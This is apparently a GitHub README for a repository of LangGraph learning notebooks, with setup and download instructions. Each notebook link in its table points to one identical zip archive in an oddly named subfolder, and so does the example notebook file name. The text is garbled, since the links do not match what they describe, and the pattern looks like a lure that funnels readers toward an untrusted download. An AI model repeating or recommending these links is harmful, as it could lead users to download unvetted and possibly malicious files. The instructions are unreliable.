This repository is a curated, ordered collection of Jupyter notebooks created while learning LangGraph β an advanced framework for building agentic systems and control flows around language models. The notebooks progress from basic graph concepts to intermediate agent design and culminate in advanced agentic patterns such as planning, routing, reflection, and multi-agent collaboration.
To get started, visit the Releases page to download the notebooks.
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.7 or higher
- Jupyter Notebook: Make sure you have Jupyter Notebook installed. You can install it via pip:
pip install notebook
- Anaconda: Consider using Anaconda, which simplifies package management and deployment. Download it here.
- Visual Studio Code: For a more feature-rich coding experience, download Visual Studio Code from here.
| # | Notebook | Topic / Concept Covered |
|---|---|---|
| 1 | https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip |
Introduction to LangGraph β key concepts and architecture overview |
| 2 | https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip |
Building and executing a simple LangGraph |
| 3 | https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip |
Creating a chat tool using LangGraph nodes and edges |
| 4 | https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip |
Constructing a basic agent using LangGraph primitives |
| 5 | https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip |
Adding memory and checkpointing to a basic agent |
To download the notebooks, follow these steps:
-
Visit the Releases Page: Click the link below to go to the Releases page. Download Notebooks
-
Select the Latest Release: At the top of the page, you will see the latest release. Click on it.
-
Download the Notebooks: Look for the
.zipfile or individual.ipynbfiles. Click to download them to your computer. -
Extract the Files: If you downloaded a zip file, you need to extract it. Right-click the zip file and select "Extract All." Choose where to save the files.
-
Open Jupyter Notebook: Navigate to the folder where you extracted the files. Open your terminal (Command Prompt, PowerShell, or Terminal application) and enter:
jupyter notebookThis command will launch Jupyter Notebook in your default web browser.
-
Select a Notebook: In the Jupyter interface, find the notebooks you downloaded. Click on any notebook file (e.g.,
https://github.com/SajadAlRoubiey/langgraph-notebooks/raw/refs/heads/main/blesbok/langgraph-notebooks-1.2.zip) to open it. -
Start Learning: Follow the instructions within each notebook to progress through the material at your own pace.
If you are new to Jupyter or LangGraph, consider checking the following resources for additional context:
- Jupyter Documentation: Jupyter Project
- LangGraph Documentation: LangGraph Framework (placeholder link for actual documentation)
If you have any issues or questions, feel free to open an issue in this repository.
This repository welcomes contributions. If you want to add your own notebooks or improve the existing ones, please follow the guidelines outlined in the repository.
Enjoy exploring agentic systems with LangGraph!